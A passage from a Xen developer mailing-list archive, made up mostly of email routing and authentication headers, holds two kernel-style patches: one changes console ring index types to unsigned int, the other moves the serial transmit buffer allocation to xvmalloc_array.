zqsIrRucggUGeTTg==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(376014)(82310400026)(36860700016)(23010399003)(1800799024)(18002099003)(22082099003)(56012099006)(11063799006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	9yCGUVvpCry6fpTW31SbHk8CZWlHj1DwSxFjewcL3lQC+UBfnlckHMkHgHuBkV33ETIKfmGo76qMHvTqZva9pcAJwbnKiVz1NXv2l2kvzdWlRMATImqP70clVEsq+rcoK/bx6JPOedJlhiyh4F6bSWM58r3nytHRClgL3+JMmrgA+3T9EaVTKUFs/gSfaxau3moPrjNpyAZVVE2zviSLZBM+N3ljTHQTQXxzhbv65m3FwUhtfiD7/gcsLjHIS46chIckDA8SKr2LeNknSveHl9eVKpjF7/Pl8TVS+2h+zf2djQsBScqneKu3aOefsZQMH59e4iAupZqqTslDfxhQEyZnxa2e4fMxzabsorQUKWmsB0LpquqNLQFCnMtlatzZro/Oma/NLyLiZIquX7OyD+fTJ2bYlGvoX0CEijyUN5LGpkgVkEdqVsYPcIRV4DnX
X-Exchange-RoutingPolicyChecked:
	Wgbrh8T+bC39slECdjqiM06vDhuTdah1MOBpgLRWCIvNv4x5HMyle139zqqUVs6018uCVj2zeJ62Cxv69PoWcQJioU+1qfm9x4Q19qrTk2cgm67ZhyYyYX++BKv9SUjmqdCPatfUWhN8I4c2mz0BxdKsMiNOgxHZP8hgfBa7JTCI7Lblid3j+VtLxXn+96NZWerkuOvW9g/5VBTX352/dQnhARoAaZNeIAoUJtemK/NVuqAZ7Jqw8TpXwe1VnonARveCyD0Q+ATLt3+e0+fpYWGISj+4pXxEakYqG8rHPYLfKL2zFZu+wqgl71+8Ze2bEiOAD9DYs/olbOjiCNDE/g==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	lA3P0OzO7usRLUVoeV19ieOMc3q6+0B/1Jo4zPmxb3wC7lMMRfXKyrmwD9b/UA6IkAVc3sTZGmnKj6gpFt3v4j+v43Fb7fQaGZZH5CnTvkcuxKgasH2YBOAH6KA9DzXoML3KVpRBWKNNJposJX5fCa2RcBI5pE1VmuaeiqjiNFErqI1B8zJw2o1um9SvH+QI96YYvjhr74oVaTJTh79GH3nAidDJEzNcq9iFRI996GtNuNlPUKr4Lg0weVdvSE9pBSEcsEve7R4Ak5Rretx6hySbLwYSxJs0bQcLjcfWU2AX78YABAaRz68pFKt3HVQjp5pxoWLN3QzIyLxMOubLCuIY+oYlVXUq6hztpn/FFZl+X2+4F6USnbJHZ08JUWicoeqTuwzGmek3bi+4AOZ09DJ2KiAZUJ842a43lJnxxtEhxOc1mVy+iKtnXcu/3jWxLntj3hXgMyjPAwEvWa/wdBxO4IjXSNTeX8YelDYJPSKpWO36uj8Oj0aRPvIzfgETZZsTEMGolHX/HjQuPTG/W2uT28ok/rcoDKREPJ6b1z8kZbnY4FSAULlqAyLqVXRM/n8ijI6a9822OZ8pMfALnHT/dXcX+A/HFkp49Yy+28rSGpO0Vi1+wClqDIs0XRfG1iNN/+TMTGMQn12buncqPw==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 06:51:20.3657
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: ecebe3ac-81fd-46dc-6364-08deec74a196
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BL6PEPF00022572.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM8PR16MB4374
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX3gk6ABAShxa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NQJ9GKAAAA:8
 a=58MCq32nLZdK-yyUG9YA:9 a=G69WFyCBNqGPyalROSdv:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 adultscore=0
 clxscore=1015 impostorscore=0 malwarescore=0 spamscore=0 priorityscore=1501
 phishscore=0 bulkscore=0 lowpriorityscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280060
X-purgate-ID: tlsNG-bad1c0/1785221485-39AC0034-AB57AB37/0/0
X-purgate-type: clean
X-purgate-size: 1160

From: Denis Mukhin <dmukhin@ford.com> 

contring_puts() and conring_flush() still use 'uint32_t' to access
indices.

Switch to 'unsigned int' to as required by CODING_STYLE.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v7:
- new patch
---
 xen/drivers/char/console.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index 37fdda93a4c1..40355c1d14d6 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -375,7 +375,7 @@ static void conring_puts(const char *str, size_t len)
 long read_console_ring(struct xen_sysctl_readconsole *op)
 {
     XEN_GUEST_HANDLE_PARAM(char) str;
-    uint32_t idx, len, max, sofar, c, p;
+    unsigned int idx, len, max, sofar, c, p;
 
     str   = guest_handle_cast(op->buffer, char),
     max   = op->count;
@@ -421,7 +421,7 @@ long read_console_ring(struct xen_sysctl_readconsole *op)
  */
 static int conring_flush(unsigned int flags)
 {
-    uint32_t idx, len, sofar, c;
+    unsigned int idx, len, sofar, c;
     unsigned int order;
     char *buf;
 
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 06:51:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 06:51:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372099.1619513 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf4-0002gq-Mh; Tue, 28 Jul 2026 06:51:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372099.1619513; Tue, 28 Jul 2026 06:51:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf4-0002gh-Io; Tue, 28 Jul 2026 06:51:34 +0000
Received: by outflank-mailman (input) for mailman id 1372099;
 Tue, 28 Jul 2026 06:51:33 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wobf2-0002fC-Ro
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:51:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wobf2-00FyOR-86
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:51:32 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a68516c-bab6-0a2a0a5309dd-0a2a4504c804-22
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:32 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685172-b57f-0a2a45040019-94a39217ae0e-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:31 +0200
Received: from pps.filterd (m0367124.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S6G6EZ728431
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:30 GMT
Received: from cy3pr05cu001.outbound.protection.outlook.com
 (mail-westcentralusazon11013059.outbound.protection.outlook.com
 [40.93.201.59])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fpq0nr6yy-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:29 +0000 (GMT)
Received: from MN0PR03CA0015.namprd03.prod.outlook.com (2603:10b6:208:52f::17)
 by MW5PR16MB5056.namprd16.prod.outlook.com (2603:10b6:303:1c0::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 06:51:26 +0000
Received: from BN3PEPF0000B36D.namprd21.prod.outlook.com
 (2603:10b6:208:52f:cafe::47) by MN0PR03CA0015.outlook.office365.com
 (2603:10b6:208:52f::17) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.13 via Frontend Transport; Tue,
 28 Jul 2026 06:51:26 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 BN3PEPF0000B36D.mail.protection.outlook.com (10.167.243.164) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.292.1
 via Frontend Transport; Tue, 28 Jul 2026 06:51:26 +0000
Received: from pps.filterd (m0426316.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S6YqJx280912
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:26 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnc6atkh5-12
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:25 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id obetw3WBzjJj0obeuwDnUA; Tue, 28 Jul 2026 06:51:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=FfU
	mF3lDqPHPO10oFYinrvOJ4TMnoZNSWgcuFZ8UNqQ=; b=CUg/dmYc+kq9oMgzDP3
	rz9zJqTYQNpwxpSAQn67MWU7EiYBSe0KEPHcbeIsVgp9Q541vnDqYg8jwDmafrdC
	4Hxp9YivFDE8aU822XIOddglnwkDrtnjMQeQ2bTH4ud7S0iBLBLuWbD1/oPNWli+
	vH3x0xGiUZvX1XPy+34e00AcBwDyB4tAOxzH+wRDBGFkoDnDT08exT6EjWDohSml
	uyrXFyqXG5MGOeu71VS6GGyp5Vaagp1+ppcwiUQwS99An/x4A/xFecbHrTx1ZFL5
	hLm9VCabsagYIFIPoAFmJOpbkloa1ZO62XWRg/Kgp9GJnD0VKVU16Xy3UbxKaBpH
	Ijg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=cdGbWU99WVKCyA+3Fc4sCHZHC1wCDK7ywdJErVtp4ZlQ5gMFwIUKFyNVNF5z47eVgbUdzMFhcKe+Wzczb6tE4wcBPZS7NoTci0TntwB1y1py0ATf/NOpT95XLtr5970Gr2NS+//cfpybVaTdySjBXSr01NP2txul+RwqlCSCEyFz3Dq0E+eo3qw7v6LSAKogjWVRJ8H7utoKT+fEVfne/ZsdemtFTL/pEAPex5psW/mFHOqys7xvyI0KCsnu+K6v2uoN1TYqd+rPDbKDNlH/m6jflCeVSJd+IaInI/1e4AUqjxCPWVQq5rTESyAbdFUNv0FM2UM0mL+80uu1IpGZwg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=FfUmF3lDqPHPO10oFYinrvOJ4TMnoZNSWgcuFZ8UNqQ=;
 b=nvfjA6o0+TvagLjQjlRvZU6j5ZVzgNggNr262P8xPUVrYi7uqhgFE4vH5ujqVOV9mJjr0kpKP9G6GbLGLIVV8LThtmvUB/a6AYF2xGAAIZy4vDmzfGypN92F4ICRJOI60z6YW5xJmEi7FWR0IBJgLeAjkw1wivjvIrCWZIxeGQbgjGRjb8dL9TtJ+BFPIXgL+gOUrWsOZwmpewqAdF8Osn7ddWFBG0E3rxYk7LTpXePOZ5oyIPjDq2qUNzPDGk6HsKtbkwcFrSt3SGB9GyuUqiJB5Y03ImTSOh/7DSBfYFvT8IVFxyrhjcdzSqJXyZYA06kSCB2Om9mgDu1cUzjAOA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=FfUmF3lDqPHPO10oFYinrvOJ4TMnoZNSWgcuFZ8UNqQ=;
 b=G2Bc4GjS9tuzzxezJUfXJZJ8XqpM5dScGbZ/ib22tMyiFCaMkulrCR/UrcRdIueKzS7drLzgGM4D9+SGIGy2h2BRA2kTHPYu0vNqSlEFwhimlZaZcxugKarL7pAYgUTTqjZDMvutu6aUcgKQ2WuMfFdiDIpjMo4ji2h0NByDTfQ=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=FfUmF3lDqPHPO10oFYinrvOJ4TMnoZNSWgcuFZ8UNqQ=; b=
	mBxh6I+Cctv/XQw1NConyFDIxWze9yhMJ61tn24saAu0egeHvWxoF0dOLT4vx6f0
	A2D1h/8S7DJHoGjG1+0LkXfknm8sYoCMLr7YGwP7yWFI8XTH2+7NLrHFbobKbtsB
	0D8AZL05jeEKXEPWv9+aUJUqlMfWwgC6nsnF7rf4J4nZjyymg2KwK9QVocwSF35c
	bUYt7CQUcaXEcRB+J0qwWjI7htiWWkIic2GvTK4J0SaP+b3QiItnlZDrmCRXfTRW
	UABhd2gEaZ55RKAqLFRuODXdYwMhyvqUIvflHE9N8D6N0ugNp1libyQfARmRKL8c
	Oyv4BZOG9QEvugm2sg5jew==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=FfUmF3l
	DqPHPO10oFYinrvOJ4TMnoZNSWgcuFZ8UNqQ=; b=uHk6IU5bdHFADXPVw86aAKw
	nCK+s764qUxgvP1wzFfQoKu+x9bo6+DuzEJed0ISb7r37ftHZxY5mTu6QLdpkabu
	SFH+LK6VlvAOOKwK0hRQFMM/xOkUMVe2jxIZszcgWFZwD2Yc6M4wmprpDBgwzOK3
	BCs9JW7cTo08JdPWIy+FLUvUySBL0FKapFahFFRJKk3MA1uDpwzjxodHkhi7nJ6m
	fKF7xrw+lJ+pCnclXue22W65lrlSsYGQ3DThZGtGFtLPQdgNhSxZ53QZvtOxYI5f
	v7N9ex7SR6rohP5Ir07RoyP5wYVYRms6zcCDYPS5uncrcK66xMVKw658F+SdFiA=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: obetw3WBzjJj0obeuwDnUA
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v8 4/7] xen/serial: switch txbuf runtime allocation to xvmalloc
Date: Mon, 27 Jul 2026 23:50:46 -0700
Message-ID: <20260728065049.1318143-5-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260728065049.1318143-1-dmukhin@ford.com>
References: <20260728065049.1318143-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 phishscore=0
 lowpriorityscore=0 malwarescore=0 adultscore=0 bulkscore=0 suspectscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607280060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN3PEPF0000B36D:EE_|MW5PR16MB5056:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: d9dd3ef4-098a-489f-fcd3-08deec74a533
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|36860700016|376014|23010399003|56012099006|11063799006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	dOzF9O2P2s9m53YEDsGhlWNAWpiQb8OH93DjR+TaHERyJTYNkZmIVNQlNg8gmLWpWKYZiLqnLWMQB4BeyQc2L8l2KppMkoY5mRWdv1LEM7O6uFFNDJEh9GWzRYwAXAd4JLjdsSmLlBVRzwL9HPMUScGCJFm6VDyVzzrXU8Sc3FNN32Xzas5jRwxqu0Gh8onAQHSkIR1Ml1AfS5p6Gm5u/KknZ67w1gETwaFbTRTHg9pxuc9Ypo5p4TWSlk6Zg0sh2RF2pmwcpODKQHKoJ+zqRYMP9FbjE7qcl2Ehvk12WMO9mruUIEbX2BUDSyT4XRhmg/axMT6UbXVMoVKn40a56zOGjVT8186tqPmbfKgEQJlDOXaOwWBnwgtHoSBXIoQM4RFHKJs2iEdqRm4nLCfo3TMqgIv8PNcZnVx94h5DfZBilh5bKFfsSooKfCG8LZUd+7SScAmnPibOC7FScJ5U3U8OAUo5voM1qaj+tvmC9uriCo1LLeAF3i7zJ/KydI53CuLyxEy0sLOL1u90tU7m13UqXQO8ZOYeBFz0BumVpT0bj1JsrxwDJVFsRYRavlSvtmLZ3JYF+Tt+QX3kWWosji5nnUB4JOiYvYvjq/vo3tE4CKGfBrsH+l2ZnlqPsoaTh2qSUEA35kU/US2Dk8DDVAp/Jm1TTWQdczjArORKtgrNxKb8QN6O7L8Ae9EpkerOqQMRD1XUyR3n+bc4zLMSaA==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(36860700016)(376014)(23010399003)(56012099006)(11063799006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	1OGJkVawBbdWURonwNswCQrJ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3GhBFkGJOT+A9bujM/E3bQYtScM1u1kiiE31wnEgS6J359OyNywIox1e7rBSfJr0ppXHdEAKNFZV2VLecCZ+UcSuawe5xiXb/pfIvAk0QUi1NHINreqTQG+JDWrknck6SKEgrm+KAlF0QCU4Jx4sOkvzB5Tl6Ghr5hXUm+66Pnhd65cqDqVUIyNvAQudvlE9oTjP3MLNhOPw/faejyzgU8hT5agyFtlhT3m9zHDQeoklpzh26YS3wBn7DJ+FeVI/rvhTswzCaeRjOdzfdQb+1h9wsA8DUi5ldXFlX6v3zjU8j+4ewQujDRrlCEd47drwpnenc+d38Pjnk6RlaE3vMFpQ0h0rDi04PGRX11qOGkj04dYxFNf18EJJ2qD7pswyqaNGdC0npeik1QBrPGSuovRX0qHaXnEIh7zuY24dxxN0eATrca+LlGenBwh/gvM3cDT7/7g==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 06:51:26.4326
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: d9dd3ef4-098a-489f-fcd3-08deec74a533
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN3PEPF0000B36D.namprd21.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW5PR16MB5056
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfXxgwOBpAj+zwa
 nfE5JAYJF156MoS8lP4IaM5RFowHVC7Z8+hzuuFZMhfdrcfmSZAO4g2oAlPYFdr5EGmbP2+Maw4
 FuW6605JIGR20yVrBYTwGJ8izS5k8ZpFhfnkYIAv8tIDL8WLu9NI
X-Authority-Analysis: v=2.4 cv=bfhbluPB c=1 sm=1 tr=0 ts=6a685171 cx=c_pps
 a=sTSJOlcUIwiiAZkT7IHz4Q==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=YJXg7OVxOWrJwj3yZo-i:22 a=cbNQJ9GKAAAA:8
 a=iox4zFpeAAAA:8 a=xSatE7sVNPENPfsXoLAA:9 a=DqJYxgmhk6moR-_7_KoZ:22
 a=WzC6qhA0u3u7Ye7llzcV:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfXwO1K80aK6niR
 SB7Dh7JcT/df0FBqQOkhN1daUalEa2E9NKZlBgmNpjwjOU3egG7Y/D/YnWv4NsLOtV9Y3AU25YV
 aXHkF6s6xZjg/kAkuCq06C6zoyhhe7JOqRy3tfY+G/r/XrP8JYSCAwAJ3fQ3YjiGHEZ5r1ISyU/
 8dkINTlMztQG5HvNpe34Ueend/7aCi/GxLUfitLr2ToDujk78ulFy46b++7G43DgqJztNuRGw9b
 TAYOnEDA/XK8ZLdudqqw1wHBHhAsHp3ChFmLbPUPfGXneFgbHf98VajUgVwX86LJXsE1xeyMD4/
 YFfXrxboApxbdo3BgffXS1EeiaAuyKXzzGV5lrffpBnJatHcpE+547w6gha2cZs4looZY8M1XNb
 s69pl9TMGhjE6IAB9pbaJA0+bF3O+0vIjyX8rB47LnIYKiQmw9+9dy2rMBdEjC1MDc8aO+7iN9W
 dSAkPbINnJjNrm4luGA==
X-Proofpoint-GUID: iWwYyc57iAdzCARk7h3_t4SOwAhDUZnX
X-Proofpoint-ORIG-GUID: iWwYyc57iAdzCARk7h3_t4SOwAhDUZnX
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 bulkscore=0 priorityscore=1501 adultscore=0 impostorscore=0 spamscore=0
 phishscore=0 lowpriorityscore=0 clxscore=1015 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280060
X-purgate-ID: tlsNG-ebf023/1785221492-585C7B50-99AB7DDC/0/0
X-purgate-type: clean
X-purgate-size: 1126

From: Denis Mukhin <dmukhin@ford.com> 

Switch 'txbuf' allocation to xvmalloc_array() since there is no
hard requirement to have buffer physically contiguous.

Suggested-by: Jan Beulich <jbeulich@suse.com>
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v7:
- new patch
---
 xen/drivers/char/serial.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/xen/drivers/char/serial.c b/xen/drivers/char/serial.c
index e3c356408987..cf0abf1893e5 100644
--- a/xen/drivers/char/serial.c
+++ b/xen/drivers/char/serial.c
@@ -12,6 +12,7 @@
 #include <xen/param.h>
 #include <xen/sections.h>
 #include <xen/serial.h>
+#include <xen/xvmalloc.h>
 
 #include <asm/processor.h>
 
@@ -524,8 +525,7 @@ void __init serial_async_transmit(struct serial_port *port)
         serial_txbufsz = PAGE_SIZE;
     while ( serial_txbufsz & (serial_txbufsz - 1) )
         serial_txbufsz &= serial_txbufsz - 1;
-    port->txbuf = alloc_xenheap_pages(
-        get_order_from_bytes(serial_txbufsz), 0);
+    port->txbuf = xvmalloc_array(char, serial_txbufsz);
 }
 
 /*
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 06:51:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 06:51:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372097.1619496 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf0-0002Ex-26; Tue, 28 Jul 2026 06:51:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372097.1619496; Tue, 28 Jul 2026 06:51:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobez-0002Eq-VT; Tue, 28 Jul 2026 06:51:29 +0000
Received: by outflank-mailman (input) for mailman id 1372097;
 Tue, 28 Jul 2026 06:51:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wobew-00021n-D1
